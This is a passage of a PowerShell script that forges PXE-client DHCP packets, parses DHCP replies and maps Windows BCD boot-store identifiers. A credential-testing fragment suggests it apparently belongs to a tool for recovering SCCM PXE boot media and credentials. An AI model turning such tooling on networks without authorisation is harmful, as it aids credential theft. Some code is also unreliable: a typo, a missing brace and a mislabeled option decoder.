        Write-Host ">>>> >>>> >>>> Credential testing: OK" -Foregroundcolor Green
    }
    else{
        Write-Host ">>>> >>>> >>>> Credential testing: NOK" -Collor Red
    }
}


    ##########################
    ## 
    ## Adaptation & Inspiration from
    ## Author: Chris Dent
    ## Name : DHCP Discovery
    ## Link : https://www.indented.co.uk/dhcp-discovery/
    ## 
    ##########################


# Create a DHCP Discover Packet
Function New-DhcpDiscoverPacket{
    Param(
    [String]$MacAddressString = "AA:BB:CC:DD:EE:FC",
    
    [String]$UUIDString = "AABBCCDD-AABB-AABB-AABB-AABBCCDDEEFF",
    
    $XID,
    
    $PxeInfo
    )
    
    # Create the Byte Array
    $DhcpDiscover = New-Object Byte[] 243
    
    # Convert the MAC Address String into a Byte Array
    # Drop any characters which might be used to delimit the string
    $MacAddressString = $MacAddressString -Replace "-|:" 
    $MacAddress = [BitConverter]::GetBytes(([UInt64]::Parse($MacAddressString,[Globalization.NumberStyles]::HexNumber)))
    [Array]::Reverse($MacAddress)
    # Copy the MacAddress Bytes into the array (drop the first 2 bytes, 
    # too many bytes returned from UInt64)
    [Array]::Copy($MACAddress, 2, $DhcpDiscover, 28, 6)
    
    
    # Copy the Transaction ID into the array
    [Array]::Copy($XID, 0, $DhcpDiscover, 4, 4)
    
    # Convert the UID Address String into a Byte Array
    $UUIDString = $UUIDString -Replace "-|:" 
    $UUIDString1= $UUIDString.Substring(0,16)
    $UUIDString2= $UUIDString.Substring(16,16)
    $UUID1 = [BitConverter]::GetBytes(([UInt64]::Parse($UUIDString1,[Globalization.NumberStyles]::HexNumber)))
    $UUID2 = [BitConverter]::GetBytes(([UInt64]::Parse($UUIDString2,[Globalization.NumberStyles]::HexNumber)))
    $UUID = $UUID1 + $UUID2
    [Array]::Reverse($UUID)

    # Set the OP Code to BOOTREQUEST
    $DhcpDiscover[0] = 1
    # Set the Hardware Address Type to Ethernet
    $DhcpDiscover[1] = 1
    # Set the Hardware Address Length (number of bytes)
    $DhcpDiscover[2] = 6
    # Set the Broadcast Flag
    $DhcpDiscover[10] = 128
    # Set the Magic Cookie values
    $DhcpDiscover[236] = 99
    $DhcpDiscover[237] = 130
    $DhcpDiscover[238] = 83
    $DhcpDiscover[239] = 99
    # Set the DHCPDiscover Message Type Option 53
    $DhcpDiscover[240] = 53
    $DhcpDiscover[241] = 1
    $DhcpDiscover[242] = 1

    # Set the Option #55 : Parameter Request List
    $DhcpDiscover_Option55 = New-Object Byte[] 38
    $DhcpDiscover_Option55[0] = 55
    $DhcpDiscover_Option55[1] = 36
    $DhcpDiscover_Option55[2] = 1
    $DhcpDiscover_Option55[3] = 2
    $DhcpDiscover_Option55[4] = 3
    $DhcpDiscover_Option55[5] = 4
    $DhcpDiscover_Option55[6] = 5
    $DhcpDiscover_Option55[7] = 6
    $DhcpDiscover_Option55[8] = 11
    $DhcpDiscover_Option55[9] = 12
    $DhcpDiscover_Option55[10] = 13
    $DhcpDiscover_Option55[11] = 15
    $DhcpDiscover_Option55[12] = 16
    $DhcpDiscover_Option55[13] = 17
    $DhcpDiscover_Option55[14] = 18
    $DhcpDiscover_Option55[15] = 22
    $DhcpDiscover_Option55[16] = 23
    $DhcpDiscover_Option55[17] = 28
    $DhcpDiscover_Option55[18] = 40
    $DhcpDiscover_Option55[19] = 41
    $DhcpDiscover_Option55[20] = 42
    $DhcpDiscover_Option55[21] = 43
    $DhcpDiscover_Option55[22] = 50
    $DhcpDiscover_Option55[23] = 51
    $DhcpDiscover_Option55[24] = 54
    $DhcpDiscover_Option55[25] = 58
    $DhcpDiscover_Option55[26] = 59
    $DhcpDiscover_Option55[27] = 60
    $DhcpDiscover_Option55[28] = 66
    $DhcpDiscover_Option55[29] = 67
    $DhcpDiscover_Option55[30] = 128
    $DhcpDiscover_Option55[31] = 129
    $DhcpDiscover_Option55[32] = 130
    $DhcpDiscover_Option55[33] = 131
    $DhcpDiscover_Option55[34] = 132
    $DhcpDiscover_Option55[35] = 133
    $DhcpDiscover_Option55[36] = 134
    $DhcpDiscover_Option55[37] = 135
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option55 

    # Set the Option #57 : Maximum DHCP Message Size
    $DhcpDiscover_Option57 = New-Object Byte[] 4
    $DhcpDiscover_Option57[0] = 57
    $DhcpDiscover_Option57[1] = 2
    $DhcpDiscover_Option57[2] = 4
    $DhcpDiscover_Option57[3] = 236
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option57
    
    # Set the Option #60
    $Option60String = "PXEClient"
    $DhcpDiscover_Option60 = New-Object Byte[] 2
    $DhcpDiscover_Option60[0] = 60
    $DhcpDiscover_Option60[1] = [System.Text.Encoding]::ASCII.GetBytes($Option60String).Length;
    $Option60Array = [System.Text.Encoding]::ASCII.GetBytes($Option60String);
    $DhcpDiscover_Option60 = $DhcpDiscover_Option60 + $Option60Array;
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option60;
    

    # Set the Option #93 : Client System Architecture
    $DhcpDiscover_Option93 = New-Object Byte[] 4
    $DhcpDiscover_Option93[0] = 93
    $DhcpDiscover_Option93[1] = 2
    $DhcpDiscover_Option93[2] = 0
    $DhcpDiscover_Option93[3] = 0 # IA x86 PC
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option93
    
    # Set the Option #97 : Client Identifier
    $DhcpDiscover_Option97 = New-Object Byte[] 3
    $DhcpDiscover_Option97[0] = 97
    $DhcpDiscover_Option97[1] = 17
    $DhcpDiscover_Option97[2] = 0
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option97 + $UUID
    
    if($PxeInfo){
        # Set the DHCP Request Message Type Option 53
        $DhcpDiscover[240] = 53
        $DhcpDiscover[241] = 1
        $DhcpDiscover[242] = 3
    
        # Set the Option #54 : DHCP Identifier
        $DHCPIdentifierString = ($PxeInfo.Options | Where {$_.OptionName -contains "DhcpServerIdentifier"}).OptionValue
        $DHCPIdentifier = $DHCPIdentifierString.Split(".")

        $DhcpDiscover_Option54 = New-Object Byte[] 6
        $DhcpDiscover_Option54[0] = 54
        $DhcpDiscover_Option54[1] = 4
        $DhcpDiscover_Option54[2] = $DHCPIdentifier[0]
        $DhcpDiscover_Option54[3] = $DHCPIdentifier[1]
        $DhcpDiscover_Option54[4] = $DHCPIdentifier[2]
        $DhcpDiscover_Option54[5] = $DHCPIdentifier[3]
        $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option54
        
        # Set the Option #50 : Requested Ip Address
        $YIAddr = ($PxeInfo.YIAddr).Split(".")
        $DhcpDiscover_Option50 = New-Object Byte[] 6
        $DhcpDiscover_Option50[0] = 50
        $DhcpDiscover_Option50[1] = 4
        $DhcpDiscover_Option50[2] = $YIAddr[0]
        $DhcpDiscover_Option50[3] = $YIAddr[1]
        $DhcpDiscover_Option50[4] = $YIAddr[2]
        $DhcpDiscover_Option50[5] = $YIAddr[3]
        $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option50
    }
    
    # Set the end
    $DhcpDiscover_Option255 = New-Object Byte[] 1
    $DhcpDiscover_Option255[0] = 255
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option255
    
    Return $DhcpDiscover
}
 
# Create a DHCP Request Packet for BCD file 
Function New-DhcpRequestPacket{
    Param(
        [String]$MacAddressString = "AA:BB:CC:DD:EE:FC",
        
        [String]$UUIDString = "AABBCCDD-AABB-AABB-AABB-AABBCCDDEEFF",
    
        $PxeInfo
    )

    # Create the Byte Array
    $DhcpDiscover = New-Object Byte[] 241
    
    # Convert the MAC Address String into a Byte Array
    # Drop any characters which might be used to delimit the string
    $MacAddressString = $MacAddressString -Replace "-|:" 
    $MacAddress = [BitConverter]::GetBytes(([UInt64]::Parse($MacAddressString,[Globalization.NumberStyles]::HexNumber)))
    [Array]::Reverse($MacAddress)
    # Copy the MacAddress Bytes into the array (drop the first 2 bytes, 
    # too many bytes returned from UInt64)
    [Array]::Copy($MACAddress, 2, $DhcpDiscover, 28, 6)

    # Copy the Transaction ID Bytes into the array
    $ID = "{0:x}" -f $PXEInfo.XID
    $ID = [BitConverter]::GetBytes(([UInt64]::Parse($ID,[Globalization.NumberStyles]::HexNumber)))
    [Array]::Copy($ID, 0, $DhcpDiscover, 4, 4)
    
    # Copy the client UID into the array
    # Drop any characters which might be used to delimit the string
    $UUIDString = $UUIDString -Replace "-|:" 
    $UUIDString1= $UUIDString.Substring(0,16)
    $UUIDString2= $UUIDString.Substring(16,16)
    $UUID1 = [BitConverter]::GetBytes(([UInt64]::Parse($UUIDString1,[Globalization.NumberStyles]::HexNumber)))
    $UUID2 = [BitConverter]::GetBytes(([UInt64]::Parse($UUIDString2,[Globalization.NumberStyles]::HexNumber)))
    $UUID = $UUID1 + $UUID2
    [Array]::Reverse($UUID)

    # Set the OP Code to BOOTREQUEST
    $DhcpDiscover[0] = 1
    # Set the Hardware Address Type to Ethernet
    $DhcpDiscover[1] = 1
    # Set the Hardware Address Length (number of bytes)
    $DhcpDiscover[2] = 6
    # Set the Broadcast Flag
    $DhcpDiscover[10] = 0
    
    # Set the IP Client
    $ArrayYIAddr = $PXEInfo.YIAddr.Split(".")
    $DhcpDiscover[12] = $ArrayYIAddr[0]
    $DhcpDiscover[13] = $ArrayYIAddr[1]
    $DhcpDiscover[14] = $ArrayYIAddr[2]
    $DhcpDiscover[15] = $ArrayYIAddr[3]
    
    # Set the Magic Cookie values
    $DhcpDiscover[236] = 99
    $DhcpDiscover[237] = 130
    $DhcpDiscover[238] = 83
    $DhcpDiscover[239] = 99
    
    # Set the Option #53 : DHCP Message Type
    $DhcpDiscover_Option53 = New-Object Byte[] 3
    $DhcpDiscover_Option53[0] = 53
    $DhcpDiscover_Option53[1] = 1
    $DhcpDiscover_Option53[2] = 3
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option53

    # Set the Option #55 : Parameter Request List
    $DhcpDiscover_Option55 = New-Object Byte[] 15
    $DhcpDiscover_Option55[0] = 55
    $DhcpDiscover_Option55[1] = 13
    $DhcpDiscover_Option55[2] = 3
    $DhcpDiscover_Option55[3] = 1
    $DhcpDiscover_Option55[4] = 60
    $DhcpDiscover_Option55[5] = 66
    $DhcpDiscover_Option55[6] = 67
    $DhcpDiscover_Option55[7] = 128
    $DhcpDiscover_Option55[8] = 129
    $DhcpDiscover_Option55[9] = 130
    $DhcpDiscover_Option55[10] = 131
    $DhcpDiscover_Option55[11] = 132
    $DhcpDiscover_Option55[12] = 133
    $DhcpDiscover_Option55[13] = 134
    $DhcpDiscover_Option55[14] = 135
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option55
    
    # Set the Option #60
    $Option60String = "PXEClient"
    $DhcpDiscover_Option60 = New-Object Byte[] 2
    $DhcpDiscover_Option60[0] = 60
    $DhcpDiscover_Option60[1] = [System.Text.Encoding]::ASCII.GetBytes($Option60String).Length;
    $Option60Array = [System.Text.Encoding]::ASCII.GetBytes($Option60String);
    $DhcpDiscover_Option60 = $DhcpDiscover_Option60 + $Option60Array;
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option60;

    # Set the Option #93 : Client System Architecture
    $DhcpDiscover_Option93 = New-Object Byte[] 4
    $DhcpDiscover_Option93[0] = 93
    $DhcpDiscover_Option93[1] = 2
    $DhcpDiscover_Option93[2] = 0
    $DhcpDiscover_Option93[3] = 0 # IA x86 PC
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option93

    # Set the Option #97 : Client Identifier
    $DhcpDiscover_Option97 = New-Object Byte[] 3
    $DhcpDiscover_Option97[0] = 97
    $DhcpDiscover_Option97[1] = 17
    $DhcpDiscover_Option97[2] = 0
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option97 + $UUID
    
    # Set the Option #250 : Some kind of Architecture ?! 
    # Used by SCCM to obtain correct BCD
    # https://blogs.technet.microsoft.com/dominikheinz/2011/03/18/sccm-pxe-network-boot-process
    # 
    # Option 250 example: 0c 01 01 0d 02 08 00 0e 01 00 01 02 00 06 ff
    # http://lists.ipxe.org/pipermail/ipxe-devel/2015-July/004284.html

    # https://blogs.technet.microsoft.com/sudheesn/2013/09/20/troubleshooting-sccm-part-vii-osd-part-i/
    # Another Option 250 example: 0d 02 08 00 0e 01 01 01 02 00 06 05 04 00 00 00 02 ff
    
    # If someone have an idea to generate it ???

    # Set the Option #250 : Some kind of Architecture ?!
    # $DhcpDiscover_Option250 = New-Object Byte[] 14
    # $DhcpDiscover_Option250[0] = 0
    # $DhcpDiscover_Option250[1] = 0
    # $DhcpDiscover_Option250[2] = 0
    # $DhcpDiscover_Option250[3] = 0
    # $DhcpDiscover_Option250[4] = 0
    # $DhcpDiscover_Option250[5] = 0
    # $DhcpDiscover_Option250[6] = 0
    # $DhcpDiscover_Option250[7] = 0
    # $DhcpDiscover_Option250[8] = 0
    # $DhcpDiscover_Option250[9] = 0
    # $DhcpDiscover_Option250[10] = 0
    # $DhcpDiscover_Option250[11] = 0
    # $DhcpDiscover_Option250[12] = 0
    # $DhcpDiscover_Option250[13] = 0
    # $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option250
    
    # Set the end
    $DhcpDiscover_Option255 = New-Object Byte[] 1
    $DhcpDiscover_Option255[0] = 255
    $DhcpDiscover = $DhcpDiscover + $DhcpDiscover_Option255

    Return $DhcpDiscover
}

# Send a DHCP Packet
Function Send-DhcpPacket{
    Param(
        $Message,
        
        $BindEndPoint,
        
        $SendEndPoint,

        [Byte]$DiscoverTimeout = 255
    )
    
    # Create a socket
    $UdpSocket = New-UdpSocket

    # Listen on $EndPoint
    $UdpSocket.Bind($BindEndPoint)

    # Send the DHCPDISCOVER packet   
    Write-Host ">>> Sending DHCP packet"
    $BytesSent = $UdpSocket.SendTo($Message, $SendEndPoint)
     
    # Begin receiving and processing responses
    $NoConnectionTimeOut = $True
     
    $Start = Get-Date
    Write-Host ">>> Beginning reception"

    While ($NoConnectionTimeOut){
    
        $BytesReceived = 0
        
        Try{
            # Placeholder EndPoint for the Sender
            $SenderEndPoint = [Net.EndPoint](New-Object Net.IPEndPoint($([Net.IPAddress]::Any, 0)))
            # Receive Buffer
            $ReceiveBuffer = New-Object Byte[] 1024
            $BytesReceived = $UdpSocket.ReceiveFrom($ReceiveBuffer, [Ref]$SenderEndPoint)
            If ($BytesReceived -lt 1024){
                $NoConnectionTimeOut = $False
            }
        }

        Catch [Net.Sockets.SocketException]{
            # Catch a SocketException, thrown when the Receive TimeOut value is reached
            $NoConnectionTimeOut = $False
        }

        If ($BytesReceived -gt 0){
            $PXEInfo = Read-DhcpPacket $ReceiveBuffer[0..$BytesReceived]
        }

        # Exit condition, not error condition
        If ((Get-Date) -gt $Start.AddSeconds($DiscoverTimeout)){
            $NoConnectionTimeOut = $False
        }
    }

    Write-Host ">>> Reception finished"    
    
    Remove-Socket $UdpSocket

    Return $PXEInfo
}

# Parse a DHCP Packet, returning an object containing each field
Function Read-DhcpPacket( [Byte[]]$Packet ){
  $Reader = New-Object IO.BinaryReader(New-Object IO.MemoryStream(@(,$Packet)))
 
  $DhcpResponse = New-Object Object
 
  # Get and translate the Op code
  $DhcpResponse | Add-Member NoteProperty Op $Reader.ReadByte()
  if ($DhcpResponse.Op -eq 1) 
  { 
    $DhcpResponse.Op = "BootRequest" 
  } 
  else 
  { 
    $DhcpResponse.Op = "BootResponse" 
  }
 
  $DhcpResponse | Add-Member NoteProperty HType -Value $Reader.ReadByte()
  if ($DhcpResponse.HType -eq 1) { $DhcpResponse.HType = "Ethernet" }
 
  $DhcpResponse | Add-Member NoteProperty HLen $Reader.ReadByte()
  $DhcpResponse | Add-Member NoteProperty Hops $Reader.ReadByte()
  $DhcpResponse | Add-Member NoteProperty XID $Reader.ReadUInt32()
  $DhcpResponse | Add-Member NoteProperty Secs $Reader.ReadUInt16()
  $DhcpResponse | Add-Member NoteProperty Flags $Reader.ReadUInt16()
  # Broadcast is the only flag that can be present, the other bits are reserved
  if ($DhcpResponse.Flags -BAnd 128) { $DhcpResponse.Flags = @("Broadcast") }
 
  $DhcpResponse | Add-Member NoteProperty CIAddr `
    $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `
    "$($Reader.ReadByte()).$($Reader.ReadByte())")
  $DhcpResponse | Add-Member NoteProperty YIAddr `
    $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `
    "$($Reader.ReadByte()).$($Reader.ReadByte())")
  $DhcpResponse | Add-Member NoteProperty SIAddr `
    $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `
    "$($Reader.ReadByte()).$($Reader.ReadByte())")
  $DhcpResponse | Add-Member NoteProperty GIAddr `
    $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `
    "$($Reader.ReadByte()).$($Reader.ReadByte())")
 
  $MacAddrBytes = New-Object Byte[] 16
  [Void]$Reader.Read($MacAddrBytes, 0, 16)
  $MacAddress = [String]::Join(
    ":", $($MacAddrBytes[0..5] | %{ [String]::Format('{0:X2}', $_) }))
  $DhcpResponse | Add-Member NoteProperty CHAddr $MacAddress
 
  $DhcpResponse | Add-Member NoteProperty SName `
    $([String]::Join("", $Reader.ReadChars(64)).Trim())
  $DhcpResponse | Add-Member NoteProperty File `
    $([String]::Join("", $Reader.ReadChars(128)).Trim())
 
  $DhcpResponse | Add-Member NoteProperty MagicCookie `
    $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `
    "$($Reader.ReadByte()).$($Reader.ReadByte())")
 
  # Start reading Options
 
  $DhcpResponse | Add-Member NoteProperty Options @()
  While ($Reader.BaseStream.Position -lt $Reader.BaseStream.Length)
  {
    $Option = New-Object Object
    $Option | Add-Member NoteProperty OptionCode $Reader.ReadByte()
    $Option | Add-Member NoteProperty OptionName ""
    $Option | Add-Member NoteProperty Length 0
    $Option | Add-Member NoteProperty OptionValue ""
 
    If ($Option.OptionCode -ne 0 -And $Option.OptionCode -ne 255)
    {
      $Option.Length = $Reader.ReadByte()
    }
 
    Switch ($Option.OptionCode)
    {
      0 { $Option.OptionName = "PadOption" }
      1 {
        $Option.OptionName = "SubnetMask"
        $Option.OptionValue = `
          $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `
          "$($Reader.ReadByte()).$($Reader.ReadByte())") }
      3 {
        $Option.OptionName = "Router"
        $Option.OptionValue = `
          $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `
          "$($Reader.ReadByte()).$($Reader.ReadByte())") }
      6 {
        $Option.OptionName = "DomainNameServer"
        $Option.OptionValue = @()
        For ($i = 0; $i -lt ($Option.Length / 4); $i++) 
        { 
          $Option.OptionValue += `
            $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `
            "$($Reader.ReadByte()).$($Reader.ReadByte())")
        } }
      15 {
        $Option.OptionName = "DomainName"
        $Option.OptionValue = [String]::Join(
          "", $Reader.ReadChars($Option.Length)) }
      51 {
        $Option.OptionName = "IPAddressLeaseTime"
        # Read as Big Endian
        $Value = ($Reader.ReadByte() * [Math]::Pow(256, 3)) + `
          ($Reader.ReadByte() * [Math]::Pow(256, 2)) + `
          ($Reader.ReadByte() * 256) + `
          $Reader.ReadByte()
        $Option.OptionValue = $(New-TimeSpan -Seconds $Value) }
      53 { 
        $Option.OptionName = "DhcpMessageType"
        Switch ($Reader.ReadByte())
        {
          1 { $Option.OptionValue = "DHCPDISCOVER" }
          2 { $Option.OptionValue = "DHCPOFFER" }
          3 { $Option.OptionValue = "DHCPREQUEST" }
          4 { $Option.OptionValue = "DHCPDECLINE" }
          5 { $Option.OptionValue = "DHCPACK" }
          6 { $Option.OptionValue = "DHCPNAK" }
          7 { $Option.OptionValue = "DHCPRELEASE" }
        } }
      54 {
        $Option.OptionName = "DhcpServerIdentifier"
        $Option.OptionValue = `
          $("$($Reader.ReadByte()).$($Reader.ReadByte())." + `
          "$($Reader.ReadByte()).$($Reader.ReadByte())") }
      58 {
        $Option.OptionName = "RenewalTime"
        # Read as Big Endian
        $Value = ($Reader.ReadByte() * [Math]::Pow(256, 3)) + `
          ($Reader.ReadByte() * [Math]::Pow(256, 2)) + `
          ($Reader.ReadByte() * 256) + `
          $Reader.ReadByte()
        $Option.OptionValue = $(New-TimeSpan -Seconds $Value) }
      59 {
        $Option.OptionName = "RebindingTime"
        # Read as Big Endian
        $Value = ($Reader.ReadByte() * [Math]::Pow(256, 3)) + `
          ($Reader.ReadByte() * [Math]::Pow(256, 2)) + `
          ($Reader.ReadByte() * 256) + `
          $Reader.ReadByte()
        $Option.OptionValue = $(New-TimeSpan -Seconds $Value) }
      67 {
        $Option.OptionName = "vendor-class-identifier"
        # Read as Big Endian
        $Value = ($Reader.ReadByte() * [Math]::Pow(256, 3)) + `
          ($Reader.ReadByte() * [Math]::Pow(256, 2)) + `
          ($Reader.ReadByte() * 256) + `
          $Reader.ReadByte()
        $Option.OptionValue = $(New-TimeSpan -Seconds $Value) }
      252 {
        $Option.OptionName = "Private / autodiscovery"
        $Option.OptionValue = [String]::Join(
          "", $Reader.ReadChars($Option.Length)) }
      255 { $Option.OptionName = "EndOption" }
      default {
        # For all options which are not decoded here
        $Option.OptionName = "NoOptionDecode"
        $Buffer = New-Object Byte[] $Option.Length
        [Void]$Reader.Read($Buffer, 0, $Option.Length)
        $Option.OptionValue = $Buffer
      }
    }
 
    # Override the ToString method
    $Option | Add-Member ScriptMethod ToString `
        { Return "$($this.OptionName) ($($this.OptionValue))" } -Force
 
    $DhcpResponse.Options += $Option
  }
 
    Return $DhcpResponse 
}
 
# Create a UDP Socket with Broadcast and Address Re-use enabled. 
Function New-UdpSocket{
    Param(
        [Int32]$SendTimeOut = 5,
        [Int32]$ReceiveTimeOut = 5
    )

    $UdpSocket = New-Object Net.Sockets.Socket(
    [Net.Sockets.AddressFamily]::InterNetwork, 
    [Net.Sockets.SocketType]::Dgram,
    [Net.Sockets.ProtocolType]::Udp)
    $UdpSocket.EnableBroadcast = $True
    $UdpSocket.ExclusiveAddressUse = $False
    $UdpSocket.SendTimeOut = $SendTimeOut * 1000
    $UdpSocket.ReceiveTimeOut = $ReceiveTimeOut * 1000

    Return $UdpSocket
}
 
# Close down a Socket
Function Remove-Socket{
    Param(
        [Net.Sockets.Socket]$Socket
    )

    $Socket.Shutdown("Both")
    $Socket.Close()
}


    ##########################
    ## 
    ## Author: Rudolf Vesely
    ## Name : Convert subnet mask
    ## Link : https://gallery.technet.microsoft.com/scriptcenter/Convert-subnet-mask-7b501479
    ## License: Free for private use only 
    ## 
    ##########################

    
Function Convert-RvNetIpAddressToInt64{ 
    <# 
    .DESCRIPTION 
        Developer 
            Developer: Rudolf Vesely, http://rudolfvesely.com/ 
            Copyright (c) Rudolf Vesely. All rights reserved 
            License: Free for private use only 
    #> 
 
    Param 
    ( 
        [string] 
        $IpAddress 
    ) 
 
    $ipAddressParts = $IpAddress.Split('.') # IP to it's octets 
 
    # Return 
    [int64]([int64]$ipAddressParts[0] * 16777216 + 
            [int64]$ipAddressParts[1] * 65536 + 
            [int64]$ipAddressParts[2] * 256 + 
            [int64]$ipAddressParts[3]) 


Function Convert-RvNetSubnetMaskClassesToCidr{ 
    <# 
    .DESCRIPTION 
        Developer 
            Developer: Rudolf Vesely, http://rudolfvesely.com/ 
            Copyright (c) Rudolf Vesely. All rights reserved 
            License: Free for private use only 
    #> 
 
    Param 
    ( 
        [string] 
        $SubnetMask 
    ) 
 
    [int64]$subnetMaskInt64 = Convert-RvNetIpAddressToInt64 -IpAddress $SubnetMask 
 
    $subnetMaskCidr32Int = 2147483648 # 0x80000000 - Same as Convert-RvNetIpAddressToInt64 -IpAddress '255.255.255.255' 
 
    $subnetMaskCidr = 0 
    for ($i = 0; $i -lt 32; $i++) 
    { 
        if (!($subnetMaskInt64 -band $subnetMaskCidr32Int) -eq $subnetMaskCidr32Int) { break } # Bitwise and operator - Same as "&" in C# 
 
        $subnetMaskCidr++ 
        $subnetMaskCidr32Int = $subnetMaskCidr32Int -shr 1 # Bit shift to the right - Same as ">>" in C# 
    } 
 
    # Return 
    $subnetMaskCidr 
}
    

    ##########################
    ## 
    ## Author: Matthew Graeber (@mattifestation)
    ## Name : BCD
    ## Github : https://github.com/mattifestation/BCD
    ## License: BSD 3-Clause
    ## 
    ##########################

#region module-scoped variables

# As new object and element types are added, they will need to be added here.
# Applying symbols to bcdedit.exe will typically get the job done.

# This is a mapping of well-known identifier->identifier (GUID)->type value
$Script:ObjectFriendlyNameMapping = @{
    'EmsSettings' =          @('{0CE4991B-E6B3-4B16-B23C-5E0D9250E5D9}', [UInt32] 0x20100000)
    'ResumeLoaderSettings' = @('{1AFA9C49-16AB-4A5C-901B-212802DA9460}', [UInt32] 0x20200004)
    'Default' =              @('{1CAE1EB7-A0DF-4D4D-9851-4860E34EF535}', [UInt32] 0x10200003)
    'KernelDbgSettings' =    @('{313E8EED-7098-4586-A9BF-309C61F8D449}', [UInt32] 0x20200003)
    'DbgSettings' =          @('{4636856E-540F-4170-A130-A84776F4C654}', [UInt32] 0x20100000)
    'EventSettings' =        @('{4636856E-540F-4170-A130-A84776F4C654}', [UInt32] 0x20100000)
    'Legacy' =               @('{466F5A88-0AF2-4F76-9038-095B170DC21C}', [UInt32] 0x10300006)
    'NtLdr' =                @('{466F5A88-0AF2-4F76-9038-095B170DC21C}', [UInt32] 0x10300006)
    'BadMemory' =            @('{5189B25C-5558-4BF2-BCA4-289B11BD29E2}', [UInt32] 0x20100000)
    'BootloaderSettings' =   @('{6EFB52BF-1766-41DB-A6B3-0EE5EFF72BD7}', [UInt32] 0x20200003)
    'GlobalSettings' =       @('{7EA2E1AC-2E61-4728-AAA3-896D9D0A9F0E}', [UInt32] 0x20100000)
    'HypervisorSettings' =   @('{7FF607E0-4395-11DB-B0DE-0800200C9A66}', [UInt32] 0x20200003)
    'BootMgr' =              @('{9DEA862C-5CDD-4E70-ACC1-F32B344D4795}', [UInt32] 0x10100002)
    'FWBootMgr' =            @('{A5A30FA2-3D06-4E9F-B5F4-A01DF9D1FCBA}', [UInt32] 0x10100001)
    'RamDiskOptions' =       @('{AE5534E0-A924-466C-B836-758539A3EE3A}', [UInt32] 0x30000000)
    'MemDiag' =              @('{B2721D73-1DB4-4C62-BF78-C548A880142D}', [UInt32] 0x10200005)
    'Current' =              @('{FA926493-6F1C-4193-A414-58F0B2456D1E}', [UInt32] 0x10200003)
    'SetupEFI' =             @('{7254A080-1510-4E85-AC0F-E7FB3D444736}', [UInt32] 0x10200003)
    'TargetTemplateEFI' =    @('{B012B84D-C47C-4ED5-B722-C0C42163E569}', [UInt32] 0x10200003)
    'SetupPCAT' =            @('{CBD971BF-B7B8-4885-951A-FA03044F5D71}', [UInt32] 0x10200003)
    'TargetTemplatePCAT' =   @('{A1943BBC-EA85-487C-97C7-C9EDE908A38A}', [UInt32] 0x10200003)
}

$Script:ObjectTypes = @{
    1 = 'Application'
    2 = 'Inherit'
    3 = 'Device'
}

$Script:ImageTypes = @{
    1 = 'Firmware'
    2 = 'WindowsBootApp'
    3 = 'LegacyLoader'
    4 = 'RealMode'
}

# reactos/boot/environ/include/bcd.h
$Script:ApplicationTypes = @{
    1 = 'FWBootMgr'
    2 = 'BootMgr'
    3 = 'OSLoader'
    4 = 'Resume'
    5 = 'MemDiag'
    6 = 'NTLdr'
    7 = 'SetupLdr'
    8 = 'Bootsector'
    9 = 'StartupCom'
    10 = 'BootApp'
}

$Script:InheritableTypes = @{
    1 = 'InheritableByAnyObject'
    2 = 'InheritableByApplicationObject'
    3 = 'InheritableByDeviceObject'
}

$Script:ElementTypes = @{
    1 = 'Library'
    2 = 'Application'
    3 = 'Device'
    4 = 'Template'
    5 = 'OEM'
}

$Script:ElementFormatTypes = @{
    1 = 'Device'   # Will map to the following Set-BCDElement param: -Device
    2 = 'String'   # Will map to the following Set-BCDElement param: -String
    3 = 'Id'       # Will map to the following Set-BCDElement param: -Object
    4 = 'Ids'      # Will map to the following Set-BCDElement param: -ObjectList
    5 = 'Integer'  # Will map to the following Set-BCDElement param: -Integer
    6 = 'Boolean'  # Will map to the following Set-BCDElement param: -Boolean
    7 = 'Integers' # Will map to the following Set-BCDElement param: -IntegerList
}

# Kind of a hack. I don't fully understand how inheritable
# object map properly so I merged all the existing definitions
# together minus collisions (which were removed).
$Script:ElementInheritableNameMapping = @{
    ([UInt32] 0x11000001) = 'Device'
    ([UInt32] 0x12000002) = 'Path'
    ([UInt32] 0x12000004) = 'Description'
    ([UInt32] 0x12000005) = 'Locale'
    ([UInt32] 0x14000006) = 'Inherit'
    ([UInt32] 0x15000007) = 'TruncateMemory'
    ([UInt32] 0x14000008) = 'RecoverySequence'
    ([UInt32] 0x16000009) = 'RecoveryEnabled'
    ([UInt32] 0x1700000A) = 'BadMemoryList'
    ([UInt32] 0x1600000B) = 'BadMemoryAccess'
    ([UInt32] 0x1500000C) = 'FirstMegabytePolicy'
    ([UInt32] 0x1500000D) = 'RelocatePhysical'
    ([UInt32] 0x1500000E) = 'AvoidLowMemory'
    ([UInt32] 0x1600000F) = 'TraditionalKseg'
    ([UInt32] 0x16000010) = 'BootDebug'
    ([UInt32] 0x15000011) = 'DebugType'
    ([UInt32] 0x15000012) = 'DebugAddress'
    ([UInt32] 0x15000013) = 'DebugPort'
    ([UInt32] 0x15000014) = 'BaudRate'
    ([UInt32] 0x15000015) = 'Channel'
    ([UInt32] 0x12000016) = 'TargetName'
    ([UInt32] 0x16000017) = 'NoUMEx'
    ([UInt32] 0x15000018) = 'DebugStart'
    ([UInt32] 0x12000019) = 'BusParams'
    ([UInt32] 0x1500001A) = 'HostIP'
    ([UInt32] 0x1500001B) = 'Port'
    ([UInt32] 0x1600001C) = 'DHCP'
    ([UInt32] 0x1200001D) = 'Key'
    ([UInt32] 0x1600001E) = 'VM'
